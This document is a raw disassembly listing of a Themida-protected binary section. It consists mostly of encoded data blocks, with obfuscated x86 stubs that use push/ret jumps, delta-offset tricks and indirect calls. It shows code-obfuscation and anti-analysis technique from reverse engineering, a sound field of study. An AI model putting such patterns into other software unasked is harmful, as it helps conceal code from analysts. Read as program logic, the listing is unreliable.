dd 71E8C96h, 0EC020E3Fh, 6B529AE4h, 0CC1F63E9h, 0FA3CB7E7h
dd 0BEA7B423h, 0A84B595h, 0DE59C027h, 6B9EAB2Bh, 0B0A54D63h
dd 0F0675A9Eh, 86D01962h, 0FFD264A3h, 606F4723h, 82AAE683h
dd 90D8226Bh, 0BFA2ADA9h, 23FEB98Fh, 5367F8Ch, 0B1E468ECh
dd 0FEB976A0h, 0EF61F523h, 202993A5h, 85E0F49Fh, 0E6397DCFh
dd 0EA096C9Dh, 62h, 8EA9DDEFh, 1B391C15h, 2F73E177h, 4B6093DCh
dd 0ABFF4309h, 8F508063h, 404D1C15h, 8ECAFA0Fh, 5A361C15h
dd 23292B12h, 77A78CDFh, 741C158Eh, 52FD3667h, 5A8DBF95h
dd 0FB3F1145h, 158ED90Ch, 0ADA24D1Ch, 0E26F1640h, 0C06F68CAh
dd 3EB4E730h, 0FDE313F6h, 0DBE81C15h, 0FD7EAE91h, 6E7B1C15h
dd 7DD9BE3Dh, 0BA9C8FD3h, 0F45F5296h, 381F1256h, 3175DD7Ah
dd 475195DEh, 0BBE6A3ACh, 0C4ABD976h, 748DBE92h, 0C53B6EE2h
dd 1A3A7ADEh, 529BEE32h, 758ABB0Eh, 1C15A23Dh, 8D712890h
dd 5EF85DBAh, 0F7FFFFFFh, 0EED17CD9h, 1C158EBEh, 0CC331D39h
dd 3F3276BFh, 8F053816h, 47F1C17Dh, 70A102F0h, 0FC464264h
dd 0F9CAD619h, 82CCD923h, 0D5AA2470h, 0E3BDD183h, 34A3E938h
dd 0D62085A9h, 0F9E85C8Dh, 23FA1CC5h, 0B9B59A2Dh, 5A5E11E1h
dd 1D8FC5ACh, 83D61A3Ch, 72A3F63Ah, 55D2h, 0C0E6D100h
dd 53367EC8h, 1C158F23h, 78DE7B28h, 8498E134h, 0F3793C13h
dd 79F324E2h, 0FA5C9796h, 8669B123h, 23FA5B56h, 19FC4653h
dd 23FA5AE9h, 11A8D9E6h, 5AF02003h, 0E0ED23FAh, 0F0664D97h
dd 0CCBB2F60h, 23FA5A98h, 86E26D00h, 5A5E6FD6h, 0D755h
dd 7CD95400h, 0B89B8ED2h, 0FA5B4E92h, 9DB1A5B4h, 7FF5E69Fh
dd 1357A00Fh, 0E6193520h, 15CB70D5h, 56F85D1Ch, 3C470E23h
dd 0CEF942Fh, 1C15CBDCh, 47C0D4E1h, 8BCF18C4h, 71E783A5h
dd 8509AE3h, 7CADDDC0h, 0ECCF1C16h, 1C167CBCh, 404DB4C1h
dd 8BB3FA0Fh, 2E1523FAh, 62F92A2Ah, 0F41A2255h, 0F2CFB2FCh
dd 6D2BE158h, 79BD99C0h, 0AC93DD26h, 5B70A3A7h, 766052F8h
dd 8EC2A6D2h, 21A6D6Ah, 9EBC0000h, 0E77287BAh, 2D273C6Fh
dd 81D7EC1Fh, 0C88BA0D3h, 0B01B4F82h, 71A4A6ADh, 2457FB5Ch
dd 0D609470Fh, 87BA94C1h, 0A5D5B822h, 0AA23FF2Dh, 7AD9F5F6h
dd 474DC105h, 0B7008D5Fh, 30270E84h, 377BD382h, 4579BE4h
dd 0B39BBAD3h, 7DD58269h, 5CFDE639h, 0EB66C9FAh, 7EC8C0E6h
dd 0F9979C9Bh, 2E727F23h, 0F9980B3Fh, 8ACA8E23h, 4C025346h
dd 0DE71F008h, 0E2C99DA1h, 0C9F9DC75h, 0C623F997h, 0D92C70B9h
dd 84E06FA8h, 5A5EAAD4h, 0E753h, 0C70F5700h, 0F993B4E4h
dd 0C7ACB923h, 23F99397h, 0D7568794h, 8ED27CD9h, 4E92B89Bh
dd 8256E8FAh, 3AE9393Ch, 0A2EC351Dh, 16508FBFh, 4E7F8C1Ch
dd 1655D439h, 321C391Ch, 436BEAFFh, 97BB9C12h, 5DEF654Eh
dd 397DC619h, 0EB353D53h, 0FB5B4F04h, 75BE1155h, 33ADDE31h
dd 0FA640950h, 7ED98623h, 0F43D90D4h, 554498AAh, 7520A4CAh
dd 0B7D9E144h, 0CA8A71BBh, 0BAEB3E82h, 7F215D40h, 78862BE0h
dd 187D6595h, 145D6A1Ch, 0DA70E3CAh, 35654890h, 3A1C187Eh
dd 8499FC2Dh, 63897BCFh, 2FC2A5EEh, 0E60E0Bh, 6AF00000h
dd 0B3A6BBEEh, 0F95B70A3h, 4D0B2053h, 94BFD407h, 6C4F83B6h
dd 0A5D872E1h, 588BC790h, 0A3D1343h, 0BBEE60F5h, 0D909EC56h
dd 0D623FF2Fh, 7AD92122h, 0CD889DD0h, 0C6D84E81h, 0DB6C6866h
dd 4CCBFCE7h, 8ED27CD9h, 6194BA9Bh, 0F13B3759h, 0FF20CB0Eh
dd 5106ED23h, 6139D001h, 64CB19C5h, 2151348Eh, 1E23FEB3h
dd 357FC811h, 13226223h, 0EBFB0F45h, 87FB2CF9h, 6AEDC194h
dd 0FA58FFE8h, 0D1F67B1h, 3186F500h, 4D7D62F3h, 5223FEE9h
dd 9CB11445h, 644B95B9h, 0BB2F60F4h, 0AE0062CCh, 2629D078h
dd 7FB29CB9h, 1B332209h, 0E074E4D7h, 0EC00499Ch, 411D09B7h
dd 486192D6h, 10F7410Dh, 67DB0C48h, 83D0E474h, 0D8212F27h
dd 0A6414B8Fh, 35193CA9h, 0E668ED02h, 0EF674EA2h, 99CA1D61h
dd 376h, 3A697B00h, 93D781D9h, 5599B5A0h, 185CF462h, 0DC203225h
dd 9CE06AE9h, 5CA0AAA9h, 2165EF69h, 0E226262Eh, 0A8EC6AEFh
dd 0E189516Ah, 4C181h, 0E9810000h, 4, 5C240C87h, 68243C89h
dd 275Dh, 50241C89h, 405E089h, 83000000h, 48704E8h, 0C895C24h
dd 0BA525024h, 5D927082h, 0BB5AD089h, 657C036Bh, 6858C329h
dd 7394h, 81242489h, 42404h, 52590000h, 8BAh, 89CA0100h
dd 24148B1Ah, 0FF04C483h, 81592434h
dd 4C4h, 2434FF00h, 4C4835Bh, 0FBBC20E9h, 22B831FFh, 307E9A2h
dd 5E0FFC5h, 0B9590493h, 2C4C6E91h, 5C6D3EE8h, 13281961h
dd 4966A2DEh, 4F6657DBh, 0F77C403Bh, 7A0D0331h, 305D7FC4h
dd 4E06A257h, 24267887h, 8E0E2A47h, 0EF05DEABh, 0E45B35CCh
dd 0E35A1942h, 0E82A7E86h, 13h, 61C79BDh, 1ACE01CCh, 6C5A7736h
dd 552D1A5Fh, 66F371EEh, 0F959F98Bh, 6DDEC181h, 60600000h
dd 830Fh, 840F0000h, 0
dd 0CE861h, 0D2850000h, 0F2A750C4h, 0BD8207B2h, 0BE88745h
dd 0AC000000h, 33784922h, 6962E7B1h, 5B5FAC2Ch, 0BA61h
dd 0CE810000h, 1833055Ch, 0F0A34FFh, 0C86h, 7E900h, 32240000h
dd 7B91CBEBh, 8D0F58D4h, 3, 81FDD780h, 8C7CF0C0h, 0A8E88107h
dd 604B05A1h, 61FEBF0Fh, 0E4D5F081h, 51606A5Eh, 8B5F6160h
dd 48961CFh, 0FFB70F11h, 0B026BF66h, 6604EA83h, 0E35DC681h
dd 92DCFA81h, 850FFFFFh, 0FFFFFFA4h, 0CDEEF381h, 0B0E924F7h
dd 60000000h, 0F6DA8C66h, 850F04C2h, 0Ch, 19D853Bh, 840F07E4h
dd 36h, 1DE1853Bh, 840F07E4h, 2Ah, 0DE1853Bh, 840F07E4h
dd 1Eh, 2255853Bh, 840F07E4h, 12h, 22ADBD83h, 0F0107E4h
dd 584h, 5FE900h, 0D08B0000h, 8B3C5203h, 88BAh, 784A8B00h
dd 840FC985h, 49h, 0F8C281h, 728B0000h, 8BC8030Ch, 518B1C59h
dd 8BD80314h, 0FC9850Bh, 1084h, 0FCE3B00h, 1782h, 0FCF3B00h
dd 0F83h, 4C38300h, 0DC850F4Ah, 0E9FFFFFFh, 0Dh, 4FE79D8Dh
dd 5B807E4h, 0FF000000h, 0BC361E3h, 13FE9D0h, 0F600000h
dd 683h, 8B0F00h, 0E9000000h, 13h, 0A3DB8371h, 54D1D316h
dd 6F5CC845h, 0D00935F5h, 616D2025h, 0A4EFB58Dh, 6A07E9h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 59446BC3h, 32E29120h, 0FE9E9h, 4A2F0000h, 4138D80Bh
dd 0F6804BABh, 0AE556D4Bh, 17858D5Ah, 6A07E784h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 72AEC351h, 0F5D0FFF8h, 8C66F9C3h, 0AE9D9h, 6C6A0000h
dd 1C4898Fh, 0B8BDC796h, 0F04C1F6h, 4E84h, 0DE96000h, 19000000h
dd 85671DBh, 0D882984Dh, 0EECB6229h, 8B614AB7h, 32CB8BFBh
dd 0FD75AEC0h, 0D9F7CF2Bh, 0D78BF92Bh, 0EBD98B49h, 3F20CD00h
dd 0B000101h, 8D1874C0h, 0FA8B0C70h, 75A6CB8Bh, 0FA75490Ah
dd 1B8h, 8B09EB00h, 0B8E4EB00h, 0
dd 0FF560CFh, 287h, 6189B700h, 569BB660h, 0FE9h, 0EB207300h
dd 7ED2E721h, 0C307A9A4h, 0FB9D37EEh, 6A6159h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 8065C3h, 3885C782h, 3F07E9A5h, 0E8000101h, 0Bh, 0FB522869h
dd 0D9A5918Dh, 0F01B051h, 665FF6BFh, 0C781F28Bh, 6732h
dd 0AE8h, 0EC209E00h, 0A07D2ECFh, 0F4F02A7h, 187h, 0BB59F800h
dd 5D5F9A47h, 7F53C381h, 0C880A2A0h, 0F9178BE1h, 2E4EEA81h
dd 0CE8B1FE0h, 0DCBFF281h, 81664021h, 81B936EEh, 14C0D6EAh
dd 9B86B959h, 8052305Bh, 78F49F0h, 6E9h, 6962E700h, 8350AC2Ch
dd 4FFC02EFh, 850F4B4Fh, 2Bh, 0DE9h, 9DDD7600h, 0CF886F59h
dd 0E6BF9E6Ah, 3BE98D46h, 24000000h, 2D8E32D9h, 0A1A217C1h
dd 0CA1E6D4Ah, 289EFDE2h, 0E9CACEB1h, 9, 82379D5Bh, 0F03D010Dh
dd 0FF83E904h, 273EFFFFh, 0C024B893h, 2E08A1F0h, 3A0E8760h
dd 35747CBAh, 8D8D7972h, 7E9A75Dh, 6D18D01h, 8D8907E4h
dd 7E41B71h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 0FCC35343h, 0AE984ABh, 51000000h, 152109C4h, 0C8599CE1h
dd 0A185C7A0h, 0F007E42Dh, 6A000072h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0E1A2C352h
dd 63E76833h, 0BE66C3A5h, 85C74B86h, 7E422B9h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5DCB8F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DCB8F proc near ; CODE XREF: Themida_:005DCB87p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5DCB8F endp
; ---------------------------------------------------------------------------
push es
ja short loc_5DCBCC
mov edi, 0BA661012h
dec esp
adc bh, bh
mov ch, 11h
sbb ah, ah
pop es
push 0
push esi
call sub_5DCBBA
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DCBBA proc near ; CODE XREF: Themida_:005DCBB2p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5DCBBA endp
; ---------------------------------------------------------------------------
dw 0CE43h
; ---------------------------------------------------------------------------
loc_5DCBCC: ; CODE XREF: Themida_:005DCBA0j
db 64h
push edx
mov [ebp+7E413B9h], eax
pop ebx
call dword ptr [ebp+7E43061h]
or [ebp+7E417E1h], edi
push 0
loc_5DCBE3: ; DATA XREF: Themida_:00582B5Co
call dword ptr [ebp+7E40E41h]
mov eax, eax
jmp short loc_5DCC5C
; ---------------------------------------------------------------------------
db 15h, 0D0h, 0D1h
dd 5F77219Bh, 3FDAA33Fh, 0F4EC9734h, 0F071AD74h, 1C9B6688h
dd 1C3B41A8h, 257AFA48h, 0B26FA382h, 927595E2h, 0A1D45BCDh
dd 0A3A059C4h, 9650ED45h, 0EC1672C0h, 3DA62D65h, 0DCFCC9CFh
dd 5037AB0Dh, 689A5350h, 0B86936C4h, 52F57A2Ah, 84E733E6h
dd 0B1AB373Ch, 0D3B6E1EFh, 6F513E71h, 808ABD0h, 0C8E4465Fh
dd 0A6396C5h, 0A7A45CCFh
; ---------------------------------------------------------------------------
loc_5DCC5C: ; CODE XREF: Themida_:005DCBEBj
jmp short loc_5DCCBE
; ---------------------------------------------------------------------------
align 10h
dd 17h dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5DCCBE: ; CODE XREF: Themida_:loc_5DCC5Cj
jmp loc_5DD7D7
; ---------------------------------------------------------------------------
jmp loc_5DD7D0
; ---------------------------------------------------------------------------
push 7E9B02Fh
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E9B158h
jmp loc_58A287
; ---------------------------------------------------------------------------
push 7E9B1AEh
jmp loc_58A287
; ---------------------------------------------------------------------------
dw 0D9B1h
dd 340D23B7h, 8E6A8014h, 0EBCAE074h, 522D43D7h, 23C9A236h
dd 9F334F2Ah, 0FD91AF89h, 5FF309E7h, 0C0546C49h, 1BE05D0Dh
dd 0B713AB08h, 668DA72h, 0CAB0CF41h, 56673C4Eh, 0C8265E7Ch
dd 0BDC3E8C2h, 4A3C3C86h, 69BB40BDh, 0AE171442h, 3AACFC55h
dd 6C986F2Bh, 688A9C20h, 4F2A7552h, 0D4A2DA33h, 0DAA8E0F6h
dd 0DCAAE200h, 3395E501h, 4234C1B6h, 12248D14h, 87A37E4Ch
dd 8EA2814Fh, 92AC8856h, 93B38C5Ah, 0A30B845Bh, 93F2D653h
dd 178013ABh, 305029C7h, 97177D9Ch, 683E547h, 13A89B71h
dd 696274DDh, 13A89B9Eh, 0ED8BDB44h, 0CDE7C312h, 8FA1FA95h
dd 0FF1EFBC9h, 34108819h, 67FB543Dh, 2E795696h, 68033B4Fh
dd 21AAC80Fh, 0FE18F492h, 67799972h, 165D5144h, 9A957D4Eh
dd 5BE55FE5h, 78h, 0EAFEDD7Bh, 596B7F5Eh, 0B3309284h, 1442A0CCh
dd 0EC0F218Ah, 92BE05A9h, 42A06E15h, 7150EC14h, 0EB900D5Dh
dd 671442A0h, 925EA5FEh, 0C6FE18F4h, 0E23B192Bh, 0D5D7D56h
dd 6779936Fh, 18F49292h, 192BC6FEh, 30920419h, 38D7C3BEh
dd 0B41F1DAFh, 14429ECFh, 21597550h, 40CC3586h, 78134B63h
dd 409466h, 0A81A0000h, 26F863AFh, 0DDA21F9Ah, 7914426Ah
dd 0D0A5B710h, 1F66484Dh, 51CE3092h, 1442A0AAh, 754FB828h
dd 49B4D9B8h, 5C23A0F0h, 0FA1442B2h, 0F1867F91h, 1C1442B2h
dd 3992EE35h, 165D7D56h, 424D5B70h, 219F1C6Ch, 7013A68Bh
dd 8CEA910Eh, 0FF6813A6h, 6DA50EEDh, 0A68C3FC0h, 647A5813h
dd 37805E2Ch, 6F0A425Ah, 7AFDDE16h, 1D2E86CAh, 53D03269h
dd 13A68CACh, 2061C12Ah, 5880DB28h, 0B6492436h, 1FD87749h
dd 1CFh, 67474D48h, 0A0ED9A17h, 10791442h, 152D0AD8h, 7956B081h
dd 21AA1A61h, 1F66484Dh, 9A957D4Eh, 5BE55FE5h, 3Ah, 1B209284h
dd 0C2DC54D2h, 464F7284h, 0E43D5B35h, 6E15929Dh, 0EC1442A0h
dd 30923C83h, 0E7D672BEh, 0C6D86E0Ah, 5D7D56F1h, 0FB209216h
dd 394A3435h, 8BA0A0B2h, 579Eh, 484D2D00h, 30921F66h, 42A0CCB3h
dd 5B714F14h, 0CE378823h, 9A61DEBCh, 0F71442A0h, 0B1E9FFDDh
dd 0B6DBD16h, 42A0E98Eh, 0EFC96514h, 0A5FE99D1h, 3992BE93h
dd 619F492h, 42A0F289h, 9EF76014h, 9FB9CB66h, 705FA6C6h
dd 7552F052h, 1F8A255Dh, 1442A058h, 0A67B8DF6h, 0F370474Dh
dd 1442A00Ch, 0B80861CAh, 0F1EBE456h, 675B0FACh, 0EB35C55h
dd 0CE401442h, 561F508Ah, 698761FDh, 2B3D9631h, 2193E34Ch
dd 0EBC864B9h, 0E5FD73D3h, 3D0BD1E3h, 0DAB44860h, 5AE89168h
dd 11ECCF3Fh, 9B71E2F4h, 0F5CADC35h, 115F492h, 21C2EC9h
dd 0AAC60D25h, 0B9209221h, 934CF2B3h, 9AFB1E30h, 7D4ECD14h
dd 5FE59A95h, 545BE5h, 4D840000h, 921F6648h, 9CB69230h
dd 0BEB7C964h, 1442A039h, 92E52C95h, 99B99230h, 7D56B287h
dd 0C13E4D2Ah, 1442A03Ah, 7DD62F98h, 64B58F2Dh, 9A356D89h
dd 0E26E0941h, 16B1E909h, 20922F04h, 7D1F58E6h, 0A9A9BB86h
dd 539E94h, 86240000h, 0BC578FABh, 3092D5AAh, 42A0CCB3h
dd 13EE8A14h, 0CB24BFF7h, 0AFFF96B9h, 0CDE3C15Fh, 1592E6BBh
dd 1442A06Eh, 927DC4ABh, 0AA51CE30h, 281442A0h, 92D8ADBFh
dd 0A0CCB330h, 218A1442h, 0FC1CF50Fh, 1C2092B5h, 0A538557Fh
dd 82BAD2AFh, 7C7C8EE7h, 0DD9E67h, 922D0000h, 0A0CCB330h
dd 714F1442h, 3788235Bh, 0FB99BCCEh, 2A8AA480h, 112D0CE0h
dd 0C2126B4Eh, 4276B645h, 0D6B32514h, 0B2C63501h, 0D63F1E30h
dd 0DBF3D09Eh, 0D7AC298Bh, 831442DFh, 15E6081Ah, 0FB1BF492h
dd 0FC1628C3h, 92C0071Fh, 2F38F620h, 13EC3EC1h, 0C720BBF3h
dd 4D66EFB5h, 78166648h, 0AD48809Eh, 0F492C69Bh, 7D9BFB1Bh
dd 0E728ACF2h, 7B4C6E80h, 5FE59A95h, 2A5BE5h, 4D840000h
dd 921F6648h, 42A06E15h, 3C83EC14h, 7D563992h, 5270165Dh
dd 88C0D6B4h, 0A7BEE2E6h, 90E9039Bh, 389EA97Eh, 2D000000h
dd 1666484Dh, 4A829C78h, 92C89DAFh, 0C3FB1BF4h, 0C80018F5h
dd 0E4C2D42Dh, 42A09067h, 0CF16FD14h, 7D563992h, 2EAB0D5Dh
dd 1442A049h, 9DD5EDCAh, 3648B102h, 565B7061h, 5B296179h
dd 0BDD3677Dh, 0E390C8E0h, 1442A01Ah, 9689BD94h, 0F70DA1B9h
dd 38CA021Ah, 3F5F38D6h, 42A02FD4h, 4D3BAB14h, 0AB9BC27h
dd 9BC6D831h, 0D292F7A4h, 0E2768E6Bh, 92E2CCC3h, 0A6419715h
dd 447CE513h, 0A656E497h, 12526313h, 771B956Ah, 8A6503D8h
dd 2FBD5C6Eh, 0E6000000h, 0FC1AF492h, 0DBF3D0EAh, 3DAF11A3h
dd 36E19A6Eh, 0F68DF8E0h, 64144224h, 0BF0E9FBh, 0A3144224h
dd 0C8A598CCh, 0E9C260B0h, 0E4F691C9h, 7956F1C2h, 0A016ED6Ah
dd 5BC41442h, 9CF3CA02h, 9145C212h, 4313AB08h, 0FA6C46DAh
dd 70D78AEAh, 0E90C1E11h, 56B808A6h, 0DAFF19E4h, 64B4DA00h
dd 0ABBA10E7h, 4355BE13h, 4F914C4Ah, 79B11A14h, 730885E7h
dd 0DF1B8FE6h, 0F70BEA76h, 0E613ECE5h, 0A7B81B8Fh, 0DD5ABCFFh
dd 1B8FE626h, 5E394BB4h, 0D08ECBA1h, 657B59F7h, 1CB453h
dd 4DDD0000h, 9A176747h, 1442A0F5h, 66C81881h, 0C2D4EAC8h
dd 1EB2CCA8h, 1250h, 474DDF00h, 0F19A1767h, 7D1442A0h
dd 4A26C414h, 9ECB9C30h, 19Bh, 69454D2Dh, 0A618AA22h, 4D698C24h
dd 380D1FB8h, 532E7956h, 4E97DE37h, 0E59A957Dh, 465BE55Fh
dd 84000000h, 115F492h, 0E8C6CCEFh, 6E1592A1h, 0EC1442A0h
dd 6D527550h, 0F42A0A85h, 458CE53Eh, 30CE3092h, 65003856h
dd 42A005FAh, 0DC68D114h, 0FED3E501h, 19607A56h, 0B7342092h
dd 9976BF6Dh, 9E728787h, 57h, 1BF4922Dh, 9DD5E9C8h, 0D671A902h
dd 0BDF1A1C4h, 83209276h, 5605BCF2h, 2B8D6B7Dh, 5A8DB48Dh
dd 43826D52h, 0F8F1035Ch, 1442A403h, 0B957A78Eh, 0D9AEC0E0h
dd 20923992h, 0E6127BD9h, 0DEF80AFFh, 92A1E802h, 0EE0016F4h
dd 0F16ED0EEh, 1442A00Ah, 4596B28Dh, 56F5CADCh, 0AA1A6179h
dd 66484D21h, 927D4E1Fh, 9DFD19F4h, 52FFDBCCh, 633E505Fh
dd 0E55F5ECCh, 3A49h, 484D7200h, 15921F66h, 1442A06Eh
dd 953383ECh, 0CC679FB9h, 3992E5BAh, 115F492h, 21C2EC9h
dd 92C20929h, 880A4F20h, 7B8D517Dh, 0E2BF5D7Bh, 0E5F792CAh
dd 209E10h, 4D2D0000h, 921F6648h, 42A06E15h, 7DC4AB14h
dd 0B4923092h, 0BB98669Eh, 63384AA3h, 165D7D56h, 0F4925B70h
dd 0F388051Ah, 5F1442A0h, 0D04D9DF6h, 1442A02Bh, 122C3EA7h
dd 39E61E34h, 1442A047h, 0A3DBF7D2h, 0FCFD0101h, 490B298h
dd 99D81026h, 0BEDE92D2h, 3816093Dh, 2F60D222h, 8C59E8DFh
dd 96A35222h, 4311D736h, 0C08176F3h, 0E44D1442h, 64D6B0D2h
dd 0D9F0AA2Fh, 359FB2FAh, 0DB66A303h, 56C59AACh, 5C2A6278h
dd 0F230687Eh, 24027D29h, 0BB857A0Eh, 911442AAh, 5C12BA44h
dd 0FE4719E0h, 7742FFFFh, 1442A084h, 42A0CF30h, 0A0956914h
dd 5A251442h, 0DE1442A0h, 1442A01Dh, 42A0E497h, 456926D4h
dd 1CF593F5h, 19F6C4FCh, 0D52EC901h, 8C63CAC3h, 8EF0D3A5h
dd 0A58C6A11h, 0CAF7D9D3h, 0E4CFA0A2h, 5DDA2A93h, 0D3A525A6h
dd 0DAB9CB34h, 2D623971h, 5DCF3181h, 3AA9E8F6h, 817A8C97h
dd 0D441502Bh, 0F96CC029h, 4AA233DDh, 25E840Ah, 0AD850000h
dd 8E1F78Bh, 623E54E8h, 0BF9EB448h, 260117ABh, 579D760Ah
dd 730723FEh, 0D165835Dh, 33C7DDBBh, 9428401Dh, 0CFB431E1h
dd 8B13AB10h
dd 7956B746h, 98731161h, 97A9447Ch, 1295FAD1h, 30443427h
dd 532CB869h, 760FB33h, 0DEB755B7h, 0EFB3ACBEh, 0AE13AB48h
dd 91B3310h, 617ABA2Ah, 90C8DCBBh, 0BB9C95F5h, 0FFD96DC6h
dd 30688861h, 0F18A8395h, 5E13AB35h, 0EAEF19ECh, 66C707FAh
dd 6394F483h, 56798B62h, 0A8257539h, 14427B04h, 0F795E54Eh
dd 40B2021Ah, 0DDDEA065h, 658799BDh, 0A5A724Fh, 66788E6Ch
dd 5E00F3A0h, 58A1B91h, 0CDC59A9h, 0DF1C78F6h, 75A3A26Dh
dd 0EE006916h, 0B856A60Fh, 192FC3DBh, 15EC243Ch, 72E4347Ah
dd 70A562Dh, 2B091B9Fh, 1693E6AEh, 0B43AC04h, 3535B34h
dd 0C432286h, 77C7300Ch, 94E4FCD9h, 0C90119F6h, 0E4FA1C2Eh
dd 0C6E0BC07h, 0F788356Dh, 1733D256h, 69E63678h, 343A0EB1h
dd 0EBC2FA63h, 0E1FBD7A4h, 65B50EA9h, 0DC1A12E8h, 357C03Ch
dd 3AA12B6Ch, 3525ABEBh, 0AE000001h, 0A20B4D6h, 677D1131h
dd 0C7DD718Bh, 2A40D4E8h, 0C69F334Fh, 304C2720h, 8EAC869Ch
dd 0F006E4FAh, 5169465Ch, 0DD5A0ABDh, 13AB1126h, 4DE06FB4h
dd 9F1C6C42h, 13AB08FBh, 21F83099h, 73F0406Eh, 144F00F9h
dd 263E1BB7h, 3A0079CDh, 2B6B6232h, 0DFA5h, 0A2C0400h
dd 67876076h, 0C7E1BDD3h, 2A3E1D33h, 89A58096h, 7DD61CF5h
dd 0DCF286A2h, 3A50E402h, 9CB2465Ch, 6013A7BFh, 114C33B0h
dd 0C50A13ABh, 15F49236h, 0A0F68D0Ah, 0FB641442h, 0BDCF6AA2h
dd 69B9F59Ah, 0AB083CECh, 3585EE13h, 8C9EBE97h, 0FC1BF8C6h
dd 0BDE2ABF1h, 0D8288178h, 0E465C3Ah, 293F6173h, 9E802D4Ch
dd 0D4BB2ED3h, 236C437Bh, 0EEBE3B8Bh, 641442E6h, 785167FBh
dd 906A0858h, 283E6072h, 889E324Ch, 0EB0195A9h, 42A4F410h
dd 91283EC5h, 21339C1Bh, 0F20EE9FFh, 506E485Eh, 0B2C8A6BCh
dd 132B081Eh, 718F697Fh, 0DDD1BEDDh, 8FBC108Dh, 19B71C78h
dd 4DE82040h, 0E2C05C3Bh, 6D3B73CCh, 0AE47890h, 68468D6Ch
dd 26C1F952h, 0A4214h, 2AC80000h, 5EF93151h, 3E8D774Ch
dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h
dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 0E18951EEh
dd 4C181h, 0E9830000h, 240C8704h
; ---------------------------------------------------------------------------
mov esp, [esp]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push 1815h
mov [esp], ebp
push ebp
push 74B2147h
pop ebp
neg ebp
add ebp, 0F34C9A2h
mov edx, ebp
mov ebp, [esp]
add esp, 4
push esp
mov ebp, [esp]
add esp, 4
push 2017h
mov [esp], ebx
mov ebx, 8
add ebx, ebp
mov [ebx], edx
pop ebx
mov ebp, [esp]
push esi
mov esi, esp
loc_5DD7A6: ; CODE XREF: Themida_:005DD7CCj
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
mov edx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_58A287
; ---------------------------------------------------------------------------
jnp short loc_5DD7A6
mov dh, bl
loc_5DD7D0: ; CODE XREF: Themida_:005DCCC3j
mov eax, 7E9B2B2h
add eax, ebp
loc_5DD7D7: ; CODE XREF: Themida_:loc_5DCCBEj
mov eax, ebx
jmp loc_5DD9A6
; ---------------------------------------------------------------------------
dd offset dword_418750+138h
dd offset dword_418750+138h
dd offset dword_418750+138h
dd offset dword_418750+138h
dd offset dword_418750+138h
dd offset dword_418750+138h
dd offset dword_418750+138h
dd offset dword_418750+138h
align 10h
dd 3 dup(0)
dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h
dd 11118888h, 16441111h, 0
dd 8800h, 88888800h, 0
dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
dd 16E6FFFFh, 16FA0040h, 40h, 0
dd 30000h, 14h dup(0)
dd 8C20000h, 75726600h, 0FE80h, 11h dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5DD9A6: ; CODE XREF: Themida_:005DD7D9j
jmp loc_5DDCFE
; =============== S U B R O U T I N E =======================================
sub_5DD9AB proc near ; DATA XREF: Themida_:005844C8o
push ebp
call $+5
pop ebp
sub ebp, 7E9B526h
pusha
mov dword ptr [ebp+7E9B473h], 0
cmp word ptr [esi], 0A166h
jnz loc_5DD9DD
mov dword ptr [ebp+7E9B477h], 6
jmp loc_5DDA01
; ---------------------------------------------------------------------------
loc_5DD9DD: ; CODE XREF: sub_5DD9AB+1Dj
lea eax, [ebp+7E9B47Bh]
push eax
lea eax, [ebp+7E9B4CBh]
push eax
push esi
push 0
call sub_5DDA10
add esp, 10h
and eax, 0FFh
mov [ebp+7E9B477h], eax
loc_5DDA01: ; CODE XREF: sub_5DD9AB+2Dj
popa
add esi, [ebp+7E9B477h]
mov eax, [ebp+7E9B473h]
pop ebp
retn
sub_5DD9AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5DDA10 proc near ; CODE XREF: sub_5DD9AB+43p
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_7E9B46B = dword ptr 7E9B473h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_5], 0
and [ebp+var_6], 0
xor dl, dl
and [ebp+var_1], dl
cmp [ebp+arg_0], 0
jz loc_5DDA3D
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
mov [ebp+var_2], 1
jmp loc_5DDA49
; ---------------------------------------------------------------------------
loc_5DDA3D: ; CODE XREF: sub_5DDA10+16j
and [ebp+var_3], 0
and [ebp+var_2], 0
mov [ebp+var_4], 4
